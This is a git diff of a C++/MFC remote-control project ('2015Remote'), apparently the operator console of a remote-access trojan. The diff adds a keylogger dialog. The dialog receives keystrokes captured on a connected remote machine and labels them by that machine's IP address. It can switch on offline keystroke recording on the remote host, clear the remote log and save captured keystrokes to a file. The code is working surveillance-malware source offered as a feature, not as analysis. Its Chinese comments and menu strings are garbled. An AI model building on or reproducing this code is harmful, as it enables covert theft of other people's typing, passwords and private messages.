afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam);
+ afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam);
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
virtual BOOL PreTranslateMessage(MSG* pMsg);
};
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index 57ff15e..c3923f5 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -245,6 +245,7 @@
+
@@ -274,6 +275,7 @@
+
diff --git a/server/2015Remote/Buffer.h b/server/2015Remote/Buffer.h
index b77017e..8cfed19 100644
--- a/server/2015Remote/Buffer.h
+++ b/server/2015Remote/Buffer.h
@@ -68,6 +68,7 @@ public:
ULONG GetBufferLength(); // Чݳ
VOID ClearBuffer();
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
+ BOOL Write(PBYTE Buffer, ULONG ulLength) { return WriteBuffer(Buffer, ulLength); }
LPBYTE GetBuffer(ULONG ulPos);
Buffer GetMyBuffer(ULONG ulPos);
BYTE GetBYTE(ULONG ulPos);
diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp
index 8d84d09..a454209 100644
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -3,6 +3,7 @@
#include "2015Remote.h"
#include
+#include
#if USING_ZLIB
#include "zlib.h"
@@ -43,6 +44,23 @@ CRITICAL_SECTION IOCPServer::m_cs = {0};
#define SAFE_DELETE(p) if(p){ delete (p); (p) = NULL; }
+// socket ȡͻIPַ.
+std::string GetRemoteIP(SOCKET sock) {
+ sockaddr_in addr;
+ int addrLen = sizeof(addr);
+
+ if (getpeername(sock, (sockaddr*)&addr, &addrLen) == 0) {
+ char ipStr[INET_ADDRSTRLEN];
+ inet_ntop(AF_INET, &addr.sin_addr, ipStr, sizeof(ipStr));
+ TRACE(">>> Զ IP ַ: %s\n", ipStr);
+ return ipStr;
+ }
+ TRACE(">>> ȡԶ IP ʧ, : %d\n", WSAGetLastError());
+ char buf[10];
+ sprintf_s(buf, "%d", sock);
+ return buf;
+}
+
IOCPServer::IOCPServer(void)
{
WSADATA wsaData;
diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h
index 35f0df5..ea3c091 100644
--- a/server/2015Remote/IOCPServer.h
+++ b/server/2015Remote/IOCPServer.h
@@ -18,6 +18,8 @@
#define NC_RECEIVE 0x0004
#define NC_RECEIVE_COMPLETE 0x0005 //
+std::string GetRemoteIP(SOCKET sock);
+
enum IOType
{
IOInitialize,
@@ -121,6 +123,9 @@ public:
BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , size_t ulOriginalLength);
+ VOID Send(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
+ OnClientPreSending(ContextObject, szBuffer, ulOriginalLength);
+ }
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength);
void UpdateMaxConnection(int maxConn);
IOCPServer(void);
@@ -186,3 +191,10 @@ public:
#endif
}
};
+
+typedef IOCPServer CIOCPServer;
+
+typedef CONTEXT_OBJECT ClientContext;
+
+#define m_Socket sClientSocket
+#define m_DeCompressionBuffer InDeCompressedBuffer
diff --git a/server/2015Remote/KeyBoardDlg.cpp b/server/2015Remote/KeyBoardDlg.cpp
new file mode 100644
index 0000000..939e478
--- /dev/null
+++ b/server/2015Remote/KeyBoardDlg.cpp
@@ -0,0 +1,215 @@
+// KeyBoardDlg.cpp : implementation file
+//
+
+#include "stdafx.h"
+#include
+#include "KeyBoardDlg.h"
+
+#ifdef _DEBUG
+#define new DEBUG_NEW
+#undef THIS_FILE
+static char THIS_FILE[] = __FILE__;
+#endif
+
+#define IDM_ENABLE_OFFLINE 0x0010
+#define IDM_CLEAR_RECORD 0x0011
+#define IDM_SAVE_RECORD 0x0012
+
+/////////////////////////////////////////////////////////////////////////////
+// CKeyBoardDlg dialog
+
+
+CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
+ : CDialog(CKeyBoardDlg::IDD, pParent)
+{
+ //{{AFX_DATA_INIT(CKeyBoardDlg)
+ // NOTE: the ClassWizard will add member initialization here
+ //}}AFX_DATA_INIT
+ m_iocpServer = pIOCPServer;
+ m_pContext = pContext;
+ m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_KEYBOARD));
+
+ sockaddr_in sockAddr;
+ memset(&sockAddr, 0, sizeof(sockAddr));
+ int nSockAddrLen = sizeof(sockAddr);
+ BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
+ m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
+
+ m_bIsOfflineRecord = (BYTE)m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1];
+}
+
+
+void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
+{
+ CDialog::DoDataExchange(pDX);
+ //{{AFX_DATA_MAP(CKeyBoardDlg)
+ DDX_Control(pDX, IDC_EDIT, m_edit);
+ //}}AFX_DATA_MAP
+}
+
+
+BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
+ //{{AFX_MSG_MAP(CKeyBoardDlg)
+ ON_WM_SIZE()
+ ON_WM_CLOSE()
+ ON_WM_SYSCOMMAND()
+ //}}AFX_MSG_MAP
+END_MESSAGE_MAP()
+
+/////////////////////////////////////////////////////////////////////////////
+// CKeyBoardDlg message handlers
+
+void CKeyBoardDlg::PostNcDestroy()
+{
+ // TODO: Add your specialized code here and/or call the base class
+ delete this;
+ CDialog::PostNcDestroy();
+}
+
+BOOL CKeyBoardDlg::OnInitDialog()
+{
+ CDialog::OnInitDialog();
+
+ // TODO: Add extra initialization here
+ SetIcon(m_hIcon, TRUE); // Set big icon
+ SetIcon(m_hIcon, FALSE); // Set small icon
+
+ CMenu* pSysMenu = GetSystemMenu(FALSE);
+ if (pSysMenu != NULL) {
+ //pSysMenu->DeleteMenu(SC_TASKLIST, MF_BYCOMMAND);
+ pSysMenu->AppendMenu(MF_SEPARATOR);
+ pSysMenu->AppendMenu(MF_STRING, IDM_ENABLE_OFFLINE, "¼(&O)");
+ pSysMenu->AppendMenu(MF_STRING, IDM_CLEAR_RECORD, "ռ¼(&C)");
+ pSysMenu->AppendMenu(MF_STRING, IDM_SAVE_RECORD, "¼(&S)");
+ if (m_bIsOfflineRecord)
+ pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
+ }
+
+ UpdateTitle();
+
+ m_edit.SetLimitText(MAXDWORD); //
+
+ // ֪ͨԶ̿ƶ˶ԻѾ
+ BYTE bToken = COMMAND_NEXT;
+ m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
+
+ return TRUE; // return TRUE unless you set the focus to a control
+ // EXCEPTION: OCX Property Pages should return FALSE
+}
+
+
+void CKeyBoardDlg::UpdateTitle()
+{
+ CString str;
+ str.Format(_T("%s - ̼¼"), m_IPAddress);
+ if (m_bIsOfflineRecord)
+ str += " (¼ѿ)";
+ else
+ str += " (¼δ)";
+ SetWindowText(str);
+}
+
+void CKeyBoardDlg::OnReceiveComplete()
+{
+ switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) {
+ case TOKEN_KEYBOARD_DATA:
+ AddKeyBoardData();
+ break;
+ default:
+ return;
+ }
+}
+
+void CKeyBoardDlg::AddKeyBoardData()
+{
+ // 0
+ m_pContext->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
+ int len = m_edit.GetWindowTextLength();
+ m_edit.SetSel(len, len);
+ m_edit.ReplaceSel((TCHAR *)m_pContext->m_DeCompressionBuffer.GetBuffer(1));
+}
+
+bool CKeyBoardDlg::SaveRecord()
+{
+ CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.txt");
+ CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, "ıĵ(*.txt)|*.txt|", this);
+ if(dlg.DoModal () != IDOK)
+ return false;
+
+ CFile file;
+ if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
+ MessageBox("ļʧ");
+ return false;
+ }
+ // Write the DIB header and the bits
+ CString strRecord;
+ m_edit.GetWindowText(strRecord);
+ file.Write(strRecord, strRecord.GetLength());
+ file.Close();
+
+ return true;
+}
+
+void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
+{
+ if (nID == IDM_ENABLE_OFFLINE) {
+ CMenu* pSysMenu = GetSystemMenu(FALSE);
+ if (pSysMenu != NULL) {
+ BYTE bToken = COMMAND_KEYBOARD_OFFLINE;
+ m_iocpServer->Send(m_pContext, &bToken, 1);
+ m_bIsOfflineRecord = !m_bIsOfflineRecord;
+ if (m_bIsOfflineRecord)
+ pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
+ else
+ pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_UNCHECKED);
+ }
+ UpdateTitle();
+
+ } else if (nID == IDM_CLEAR_RECORD) {
+ BYTE bToken = COMMAND_KEYBOARD_CLEAR;
+ m_iocpServer->Send(m_pContext, &bToken, 1);
+ m_edit.SetWindowText("");
+ } else if (nID == IDM_SAVE_RECORD) {
+ SaveRecord();
+ } else {
+ CDialog::OnSysCommand(nID, lParam);
+ }
+}
+
+void CKeyBoardDlg::ResizeEdit()
+{
+ RECT rectClient;
+ RECT rectEdit;
+ GetClientRect(&rectClient);
+ rectEdit.left = 0;
+ rectEdit.top = 0;
+ rectEdit.right = rectClient.right;
+ rectEdit.bottom = rectClient.bottom;
+ m_edit.MoveWindow(&rectEdit);
+}
+void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
+{
+ CDialog::OnSize(nType, cx, cy);
+
+ // TODO: Add your message handler code here
+ if (IsWindowVisible())
+ ResizeEdit();
+}
+
+
+BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg)
+{
+ // TODO: Add your specialized code here and/or call the base class
+ if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)) {
+ return true;
+ }
+ return CDialog::PreTranslateMessage(pMsg);
+}
+
+void CKeyBoardDlg::OnClose()
+{
+ // TODO: Add your message handler code here and/or call default
+ closesocket(m_pContext->m_Socket);
+
+ CDialog::OnClose();
+}
diff --git a/server/2015Remote/KeyBoardDlg.h b/server/2015Remote/KeyBoardDlg.h
new file mode 100644
index 0000000..292468f
--- /dev/null
+++ b/server/2015Remote/KeyBoardDlg.h
@@ -0,0 +1,66 @@
+#if !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_)
+#define AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_
+
+#include "Resource.h"
+#include "IOCPServer.h"
+
+#if _MSC_VER > 1000
+#pragma once
+#endif // _MSC_VER > 1000
+// KeyBoardDlg.h : header file
+//
+
+/////////////////////////////////////////////////////////////////////////////
+// CKeyBoardDlg dialog
+
+class CKeyBoardDlg : public CDialog
+{
+// Construction
+public:
+ void OnReceiveComplete();
+ CKeyBoardDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
+
+// Dialog Data
+ //{{AFX_DATA(CKeyBoardDlg)
+ enum { IDD = IDD_DLG_KEYBOARD };
+ CEdit m_edit;
+ //}}AFX_DATA
+
+// Overrides
+ // ClassWizard generated virtual function overrides
+ //{{AFX_VIRTUAL(CKeyBoardDlg)
+public:
+ virtual BOOL PreTranslateMessage(MSG* pMsg);
+protected:
+ virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
+ virtual void PostNcDestroy();
+ //}}AFX_VIRTUAL
+
+// Implementation
+protected:
+ ClientContext* m_pContext;
+ CIOCPServer* m_iocpServer;
+ HICON m_hIcon;
+ bool m_bIsOfflineRecord;
+
+ CString m_IPAddress;
+ void AddKeyBoardData();
+ void UpdateTitle();
+ void ResizeEdit();
+ bool SaveRecord();
+
+ // Generated message map functions
+ //{{AFX_MSG(CKeyBoardDlg)
+ virtual BOOL OnInitDialog();
+ afx_msg void OnSize(UINT nType, int cx, int cy);
+ afx_msg void OnClose();
+ afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
+
+ //}}AFX_MSG
+ DECLARE_MESSAGE_MAP()
+};
+
+//{{AFX_INSERT_LOCATION}}
+// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
+
+#endif // !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_)
diff --git a/server/2015Remote/res/Bitmap/ToolBar_Main.bmp b/server/2015Remote/res/Bitmap/ToolBar_Main.bmp
index bbede6d..e7f07e2 100644
Binary files a/server/2015Remote/res/Bitmap/ToolBar_Main.bmp and b/server/2015Remote/res/Bitmap/ToolBar_Main.bmp differ
diff --git a/server/2015Remote/res/Bitmap/toolbar1.bmp b/server/2015Remote/res/Bitmap/toolbar1.bmp
index e30c197..66fa9ce 100644
Binary files a/server/2015Remote/res/Bitmap/toolbar1.bmp and b/server/2015Remote/res/Bitmap/toolbar1.bmp differ
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index 7697893..8e56c9a 100644
Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ
diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h
index 050614c..8818206 100644
--- a/server/2015Remote/stdafx.h
+++ b/server/2015Remote/stdafx.h
@@ -91,6 +91,7 @@
#define WM_USEROFFLINEMSG WM_USER+3010
#define WM_HANDLEMESSAGE WM_USER+3011
+#define WM_OPENKEYBOARDDIALOG WM_USER+3012
enum
{